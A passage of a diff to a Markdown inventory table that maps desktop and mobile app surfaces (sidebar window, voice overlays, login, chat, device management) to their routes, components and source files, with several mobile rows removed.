apps/desktop/src/renderer/components/settings/browserOpenForLoginError.ts, apps/desktop/src/renderer/components/settings/cindyMakeVisibility.ts, apps/desktop/src/renderer/components/settings/computerPermissionFlow.ts, apps/desktop/src/renderer/components/settings/contacts/ContactDetailPane.tsx, apps/desktop/src/renderer/components/settings/contacts/ContactsImportDialog.tsx, apps/desktop/src/renderer/components/settings/contacts/ContactsListPane.tsx, apps/desktop/src/renderer/components/settings/contacts/ContactsManagerDialog.tsx, apps/desktop/src/renderer/components/settings/contacts/ContactsSection.tsx, apps/desktop/src/renderer/components/settings/contacts/startContactsAiSession.ts, apps/desktop/src/renderer/components/settings/dualSenseSilhouette.ts, apps/desktop/src/renderer/components/settings/feishuBotPresentation.ts, apps/desktop/src/renderer/components/settings/fontFamilyValue.ts, apps/desktop/src/renderer/components/settings/gamepadLayoutPrimitives.tsx, apps/desktop/src/renderer/components/settings/gamepadSilhouetteGeom.ts, apps/desktop/src/renderer/components/settings/hookWorkspacePrefsLogic.ts, apps/desktop/src/renderer/components/settings/imBotVisibility.ts, apps/desktop/src/renderer/components/settings/imDefaultSettingsLogic.ts, apps/desktop/src/renderer/components/settings/joyConSilhouette.ts, apps/desktop/src/renderer/components/settings/modelManagementPresentation.ts, apps/desktop/src/renderer/components/settings/modelManagementState.ts, apps/desktop/src/renderer/components/settings/myDevicesModel.ts, apps/desktop/src/renderer/components/settings/providerAssetModule.ts, apps/desktop/src/renderer/components/settings/realProfilePermissionGuide.ts, apps/desktop/src/renderer/components/settings/switchProSilhouette.ts, apps/desktop/src/renderer/components/settings/ultimateC1Silhouette.ts, apps/desktop/src/renderer/components/settings/usage/UsageBreakdownTables.tsx, apps/desktop/src/renderer/components/settings/usage/UsageHistorySection.tsx, apps/desktop/src/renderer/components/settings/usage/UsageStatRow.tsx, apps/desktop/src/renderer/components/settings/usage/UsageTaskTable.tsx, apps/desktop/src/renderer/components/settings/usage/UsageTokenBars.tsx, apps/desktop/src/renderer/components/settings/usage/formatUsagePercent.ts, apps/desktop/src/renderer/components/settings/usage/usageCharts.css, apps/desktop/src/renderer/components/settings/usage/usageHistoryColors.ts, apps/desktop/src/renderer/components/settings/usage/usageHistoryStats.ts, apps/desktop/src/renderer/components/settings/usageVisibility.ts, apps/desktop/src/renderer/components/settings/useProviderSubscriptionCard.ts, apps/desktop/src/renderer/components/settings/wizardRecommend.ts, apps/desktop/src/renderer/components/settings/workLouderCodexCommandCopy.ts, apps/desktop/src/renderer/components/settings/xboxSeriesSilhouette.ts, apps/desktop/src/renderer/styles/sortable.css | 155 | 109 | 734 |
@@ -51,20 +51,20 @@
| `desktop.window.sidebar` | desktop | 右侧栏独立窗口 | `?sidebarWindow=1` → renderer/sidebar-window-entry.tsx;hash `/sidebar-window` | RightSidebar, RightSidebarShell, SidebarWindowLayout | apps/desktop/src/main/right-sidebar-window/controller.ts, apps/desktop/src/main/right-sidebar-window/ipc.ts, apps/desktop/src/main/right-sidebar-window/registry.ts, apps/desktop/src/main/right-sidebar-window/resolveHostContext.ts, apps/desktop/src/main/right-sidebar-window/settings-store.ts, apps/desktop/src/main/right-sidebar-window/window.ts, apps/desktop/src/renderer/components/layout/SidebarWindowLayout.tsx, apps/desktop/src/renderer/features/right-sidebar/AddTabDropdown.tsx, apps/desktop/src/renderer/features/right-sidebar/EmptyState.tsx, apps/desktop/src/renderer/features/right-sidebar/RightSidebarShell.tsx, apps/desktop/src/renderer/features/right-sidebar/TabBar.tsx, apps/desktop/src/renderer/features/right-sidebar/TabBodyErrorBoundary.tsx, apps/desktop/src/renderer/features/right-sidebar/hooks/useBrowserWebview.ts, apps/desktop/src/renderer/features/right-sidebar/hooks/useNativePopupSurface.ts, apps/desktop/src/renderer/features/right-sidebar/iosSimulatorPluginAvailability.ts, apps/desktop/src/renderer/features/right-sidebar/lib/browserPartition.ts, apps/desktop/src/renderer/features/right-sidebar/lib/browserWebviewPool.ts, apps/desktop/src/renderer/features/right-sidebar/lib/detachedSidebarRouting.ts, apps/desktop/src/renderer/features/right-sidebar/lib/executeSidebarCommand.ts, apps/desktop/src/renderer/features/right-sidebar/lib/iosSimulatorFocusBridge.ts, apps/desktop/src/renderer/features/right-sidebar/lib/lastTurnChangedFiles.ts, apps/desktop/src/renderer/features/right-sidebar/lib/nativePopupTabs.ts, apps/desktop/src/renderer/features/right-sidebar/lib/openBackgroundTasksTab.ts, apps/desktop/src/renderer/features/right-sidebar/lib/openInSidebarBrowser.ts, apps/desktop/src/renderer/features/right-sidebar/lib/openInSidebarFileBrowser.ts, apps/desktop/src/renderer/features/right-sidebar/lib/openRoutinesTab.ts, apps/desktop/src/renderer/features/right-sidebar/lib/openSubagentsTab.ts, apps/desktop/src/renderer/features/right-sidebar/lib/openTerminalShortcut.ts, apps/desktop/src/renderer/features/right-sidebar/lib/openTurnReview.ts, apps/desktop/src/renderer/features/right-sidebar/lib/popupRouter.ts, apps/desktop/src/renderer/features/right-sidebar/lib/popupTabs.ts, apps/desktop/src/renderer/features/right-sidebar/lib/rsbBrowserBridge.ts, apps/desktop/src/renderer/features/right-sidebar/lib/sidebarCommands.ts, apps/desktop/src/renderer/features/right-sidebar/lib/sidebarHostSession.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/background-tasks/BackgroundTasksBody.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/background-tasks/WorkflowAgentStrip.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/background-tasks/WorkflowProgressTree.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/background-tasks/chatTaskFocusIntent.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/background-tasks/index.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/background-tasks/listSessionTasks.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/background-tasks/workflowProgressModel.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/cindy-make/CindyMakeTabBody.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/cindy-make/index.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/file-browser/FileBrowserBody.css, apps/desktop/src/renderer/features/right-sidebar/plugins/file-browser/FileBrowserBody.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/file-browser/dropExternalFile.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/file-browser/fileTreeImagePreview.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/file-browser/index.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/file-browser/useSessionScopedTreeWidth.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/index.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/ios-simulator/IOSSimulatorInstanceGrid.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/ios-simulator/IOSSimulatorTabBody.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/ios-simulator/index.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/ios-simulator/iosSimulatorH264Decoder.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/orca-workers/OrcaWorkersAttentionIcon.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/orca-workers/OrcaWorkersTabBody.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/orca-workers/actions.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/orca-workers/closeDecision.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/orca-workers/index.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/resource-usage/ResourceUsageBody.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/resource-usage/index.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/resource-usage/resource-usage.css, apps/desktop/src/renderer/features/right-sidebar/plugins/resource-usage/subscription.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/review/DiffViewer/ImageDiffPreview.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/review/DiffViewer/MarkdownDiffPreview.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/review/DiffViewer/PlainUnifiedDiff.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/review/DiffViewer/diffRows.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/review/DiffViewer/highlight.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/review/DiffViewer/inlineDiff.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/review/DiffViewer/useDiffHighlights.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/review/ReviewTabBody.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/review/diffExpansionPreference.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/review/fileTree.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/review/gitApplyCommand.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/review/index.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/review/markdownPreview.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/review/useLastTurnFilter.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/review/useReviewGitState.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/review/useReviewSource.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/routines/index.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/subagents/ConversationStream.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/subagents/DetailView.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/subagents/RunList.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/subagents/SubagentChrome.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/subagents/SubagentToolCard.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/subagents/SubagentsBody.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/subagents/index.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/subagents/subagentChangeFence.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/subagents/subagentConversation.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/subagents/subagentFormat.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/terminal/TerminalTabBody.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/terminal/index.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/terminal/lib/xtermPool.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/web-browser/BrowserChrome.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/web-browser/BrowserCommentPopover.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/web-browser/BrowserTabBody.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/web-browser/browserCommentEditorDraft.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/web-browser/index.tsx, apps/desktop/src/renderer/features/right-sidebar/plugins/web-browser/lib/parseOmnibox.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/web-browser/useBrowserComment.ts, apps/desktop/src/renderer/features/right-sidebar/plugins/web-browser/useLocalHtmlAutoReload.ts, apps/desktop/src/renderer/features/right-sidebar/registry.ts, apps/desktop/src/renderer/features/right-sidebar/store.ts, apps/desktop/src/renderer/features/right-sidebar/types.ts, apps/desktop/src/renderer/sidebar-window-entry.tsx, apps/desktop/src/renderer/styles/generated/tokens.css, apps/desktop/src/renderer/styles/globals.css | 102 | 57 | 198 |
| `desktop.window.voice-dictionary-toast` | desktop | 语音词典 Toast 窗 | `?view=voice-input-dictionary-toast` → main-entry.tsx → VoiceInputDictionaryToast | VoiceInputDictionaryToast | apps/desktop/src/renderer/voice-input/VoiceInputDictionaryToast.tsx | 6 | 0 | 2 |
| `desktop.window.voice-overlay` | desktop | 语音输入浮窗 | `?view=voice-input-overlay` → main-entry.tsx → VoiceInputOverlay | VoiceInputOverlay, VoiceInputStatusNotice | apps/desktop/src/main/voice-input/global.ts, apps/desktop/src/renderer/styles/generated/tokens.css, apps/desktop/src/renderer/styles/globals.css, apps/desktop/src/renderer/voice-input/VoiceInputOverlay.tsx, apps/desktop/src/renderer/voice-input/VoiceInputStatusNotice.tsx | 67 | 50 | 25 |
-| `mobile.account-deletion` | mobile | 账号注销 | app/account-deletion.tsx | AppText, AuthContext, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, DeviceLinkContext, HomeNativeStackHeader, IncomingShareBridge, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, NativePullDownMenu, NativeSwitch, PushNotificationsBridge, QuietSyncIndicator, SimpleStackHeader, StartupSplashOverlay, ThemeProvider, _layout, account-deletion, gestureHandler, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/account-deletion.tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/HomeNativeStackHeader.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/chrome/SimpleStackHeader.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 170 | 19 |
-| `mobile.auth` | mobile | 登录与添加账号 | app/(auth)/login.tsx / app/add-account.tsx | AccountSwitcherSheet, AppText, AuthContext, BlurBackdrop, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, DeviceLinkContext, IncomingShareBridge, LoginCaptchaWebView, LoginSkinControls, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, PushNotificationsBridge, QuietSyncIndicator, SheetModal, SheetSurface, StartupSplashOverlay, ThemeProvider, _layout, add-account, gestureHandler, login, useLocale | apps/mobile/app/(auth)/login.tsx, apps/mobile/app/_layout.tsx, apps/mobile/app/add-account.tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/LoginCaptchaWebView.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/LoginSkinControls.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/AccountSwitcherSheet.tsx, apps/mobile/src/session/BlurBackdrop.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/session/SheetModal.tsx, apps/mobile/src/session/SheetSurface.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 177 | 43 |
-| `mobile.automations` | mobile | 自动化 | app/automations/[deviceId].tsx | AppText, AuthContext, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, DeviceLinkContext, HomeNativeStackHeader, IncomingShareBridge, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, NativePullDownMenu, NativeSwitch, PushNotificationsBridge, QuietSyncIndicator, SimpleStackHeader, StartupSplashOverlay, ThemeProvider, [deviceId], _layout, gestureHandler, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/automations/[deviceId].tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/HomeNativeStackHeader.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/chrome/SimpleStackHeader.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 170 | 35 |
-| `mobile.chat.new` | mobile | 新建任务 | app/sessions/new.tsx | AnnotationBurnInWebView, AppText, AuthContext, BlurBackdrop, CenteredScreen, ComposerAttachmentTray, ComposerKeyboardAvoidingView, ConnectionBanner, ConnectionNoticeOverlay, ContextSheet, ContextSheetGoalView, ContextSheetMediaViews, DeviceLinkContext, HomeNativeStackHeader, ImageLightbox, IncomingShareBridge, MobileAgentMark, MobileAgentSwitcher, MobileChoicePickerList, MobileComposerInputRow, MobileLoginHandoffContext, MobileLoginHandoffStage, MobileModelPickerList, MobilePermissionPickerList, MobilePrimitives, MobileProviderMark, MobileVendorIcon, ModelOptionsSheetView, ModelPickerSheet, NativePullDownMenu, NativeSwitch, PaperPlaneIcon, PlanModeChip, PushNotificationsBridge, QuietSyncIndicator, SheetModal, SheetSurface, SimpleStackHeader, SlowSendNotice, StartupSplashOverlay, ThemeProvider, VoiceRecordingPill, _layout, gestureHandler, new, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/sessions/new.tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileAgentMark.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/MobileVendorIcon.tsx, apps/mobile/src/components/PaperPlaneIcon.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/HomeNativeStackHeader.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/chrome/SimpleStackHeader.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/AnnotationBurnInWebView.tsx, apps/mobile/src/session/BlurBackdrop.tsx, apps/mobile/src/session/ComposerAttachmentTray.tsx, apps/mobile/src/session/ComposerKeyboardAvoidingView.tsx, apps/mobile/src/session/ContextSheet.tsx, apps/mobile/src/session/ContextSheetGoalView.tsx, apps/mobile/src/session/ContextSheetMediaViews.tsx, apps/mobile/src/session/ImageLightbox.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/session/MobileAgentSwitcher.tsx, apps/mobile/src/session/MobileChoicePickerList.tsx, apps/mobile/src/session/MobileComposerInputRow.tsx, apps/mobile/src/session/MobileModelPickerList.tsx, apps/mobile/src/session/MobilePermissionPickerList.tsx, apps/mobile/src/session/MobileProviderMark.tsx, apps/mobile/src/session/ModelOptionsSheetView.tsx, apps/mobile/src/session/ModelPickerSheet.tsx, apps/mobile/src/session/PlanModeChip.tsx, apps/mobile/src/session/SheetModal.tsx, apps/mobile/src/session/SheetSurface.tsx, apps/mobile/src/session/SlowSendNotice.tsx, apps/mobile/src/session/VoiceRecordingPill.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 202 | 72 |
-| `mobile.chat.session` | mobile | 任务内容与输入 | app/sessions/[sessionId].tsx | AnnotationBurnInWebView, AppText, AuthContext, AuthorizationMessageCard, BlurBackdrop, CenteredScreen, ChatFileChipMenuSheet, CompanionMessageCard, ComposerAttachmentTray, ComposerKeyboardAvoidingView, ComposerRichInput, ConnectionBanner, ConnectionNoticeOverlay, ContextSheet, ContextSheetGoalView, ContextSheetMediaViews, ConversationSearchFilterSheet, ConversationShareSvg, ConversationShareWebView, DeviceLinkContext, FailedScheduleNotice, HomeGlassMenuPanel, HomeNativeStackHeader, HomeSearchBar, ImageLightbox, IncomingShareBridge, InlineQueueSection, InlineQuoteChip, InlineReferenceChip, InteractionPanel, MarkdownBlockContent, MessageActionSheet, MessageRenderer, MobileAgentMark, MobileAgentSwitcher, MobileBoundaryNotice, MobileComposerInputRow, MobileLoginHandoffContext, MobileLoginHandoffStage, MobileModelPickerList, MobilePermissionPickerList, MobilePrimitives, MobileProviderMark, ModelOptionsSheetView, ModelPickerSheet, NativePullDownMenu, NativeSwitch, PaperPlaneIcon, PendingSendBubble, PiSessionTreeSheet, PlanModeChip, PushNotificationsBridge, QuietSyncIndicator, QuoteCapsule, RewindPreviewPanel, SentInlineAtomBody, SessionListDrawer, SessionMenuSheet, SessionTailBanner, SessionUsageSummary, ShareMessageCheckbox, ShareSelectAllButton, ShareSelectionBar, SheetModal, SheetSurface, SimpleStackHeader, SlowSendNotice, StartupSplashOverlay, StreamingStatusText, ThemeProvider, VoiceRecordingPill, [sessionId], _layout, gestureHandler, mathWebView, mediaPlayerWebView, mermaidWebView, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/sessions/[sessionId].tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileAgentMark.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/PaperPlaneIcon.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/HomeNativeStackHeader.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/chrome/SimpleStackHeader.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/AnnotationBurnInWebView.tsx, apps/mobile/src/session/AuthorizationMessageCard.tsx, apps/mobile/src/session/BlurBackdrop.tsx, apps/mobile/src/session/ChatFileChipMenuSheet.tsx, apps/mobile/src/session/CompanionMessageCard.tsx, apps/mobile/src/session/ComposerAttachmentTray.tsx, apps/mobile/src/session/ComposerKeyboardAvoidingView.tsx, apps/mobile/src/session/ComposerRichInput.tsx, apps/mobile/src/session/ContextSheet.tsx, apps/mobile/src/session/ContextSheetGoalView.tsx, apps/mobile/src/session/ContextSheetMediaViews.tsx, apps/mobile/src/session/ConversationSearchFilterSheet.tsx, apps/mobile/src/session/ConversationShareSvg.tsx, apps/mobile/src/session/ConversationShareWebView.tsx, apps/mobile/src/session/FailedScheduleNotice.tsx, apps/mobile/src/session/HomeGlassMenuPanel.tsx, apps/mobile/src/session/HomeSearchBar.tsx, apps/mobile/src/session/ImageLightbox.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/session/InlineQueueSection.tsx, apps/mobile/src/session/InlineQuoteChip.tsx, apps/mobile/src/session/InlineReferenceChip.tsx, apps/mobile/src/session/InteractionPanel.tsx, apps/mobile/src/session/MarkdownBlockContent.tsx, apps/mobile/src/session/MessageActionSheet.tsx, apps/mobile/src/session/MessageRenderer.tsx, apps/mobile/src/session/MobileAgentSwitcher.tsx, apps/mobile/src/session/MobileBoundaryNotice.tsx, apps/mobile/src/session/MobileComposerInputRow.tsx, apps/mobile/src/session/MobileModelPickerList.tsx, apps/mobile/src/session/MobilePermissionPickerList.tsx, apps/mobile/src/session/MobileProviderMark.tsx, apps/mobile/src/session/ModelOptionsSheetView.tsx, apps/mobile/src/session/ModelPickerSheet.tsx, apps/mobile/src/session/PendingSendBubble.tsx, apps/mobile/src/session/PiSessionTreeSheet.tsx, apps/mobile/src/session/PlanModeChip.tsx, apps/mobile/src/session/QuoteCapsule.tsx, apps/mobile/src/session/RewindPreviewPanel.tsx, apps/mobile/src/session/SentInlineAtomBody.tsx, apps/mobile/src/session/SessionListDrawer.tsx, apps/mobile/src/session/SessionMenuSheet.tsx, apps/mobile/src/session/SessionTailBanner.tsx, apps/mobile/src/session/SessionUsageSummary.tsx, apps/mobile/src/session/ShareMessageCheckbox.tsx, apps/mobile/src/session/ShareSelectAllButton.tsx, apps/mobile/src/session/ShareSelectionBar.tsx, apps/mobile/src/session/SheetModal.tsx, apps/mobile/src/session/SheetSurface.tsx, apps/mobile/src/session/SlowSendNotice.tsx, apps/mobile/src/session/StreamingStatusText.tsx, apps/mobile/src/session/VoiceRecordingPill.tsx, apps/mobile/src/session/composerRichInputHtml.ts, apps/mobile/src/session/conversationShareWebViewHtml.ts, apps/mobile/src/session/mathWebView.tsx, apps/mobile/src/session/mathWebViewHtml.ts, apps/mobile/src/session/mediaPlayerWebView.tsx, apps/mobile/src/session/mediaPlayerWebViewHtml.ts, apps/mobile/src/session/mermaidWebView.tsx, apps/mobile/src/session/mermaidWebViewHtml.ts, apps/mobile/src/session/selectableMarkdownHtml.ts, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 7 | 203 | 188 |
-| `mobile.companions.direct` | mobile | 伙伴私聊回看 | app/companions/direct/[threadId].tsx | AppText, AuthContext, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, DeviceLinkContext, HomeNativeStackHeader, IncomingShareBridge, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, NativePullDownMenu, NativeSwitch, PushNotificationsBridge, QuietSyncIndicator, SimpleStackHeader, StartupSplashOverlay, ThemeProvider, [threadId], _layout, gestureHandler, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/companions/direct/[threadId].tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/HomeNativeStackHeader.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/chrome/SimpleStackHeader.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 170 | 14 |
-| `mobile.device-management` | mobile | 设备管理 | app/devices/manage.tsx / app/devices/manage/[deviceId].tsx | AppText, AuthContext, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, DeviceInformationFields, DeviceInformationFields.ios, DeviceLinkContext, DeviceManagementDialogs, DeviceManagementList, DeviceManagementList.ios, HomeNativeStackHeader, IncomingShareBridge, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, NativePullDownMenu, NativeSwitch, PushNotificationsBridge, QuietSyncIndicator, RenameDeviceModal, SimpleStackHeader, StartupSplashOverlay, ThemeProvider, [deviceId], _layout, gestureHandler, manage, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/devices/manage.tsx, apps/mobile/app/devices/manage/[deviceId].tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceInformationFields.ios.tsx, apps/mobile/src/device-link/DeviceInformationFields.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/device-link/DeviceManagementDialogs.tsx, apps/mobile/src/device-link/DeviceManagementList.ios.tsx, apps/mobile/src/device-link/DeviceManagementList.tsx, apps/mobile/src/i18n/useLocale.tsx, 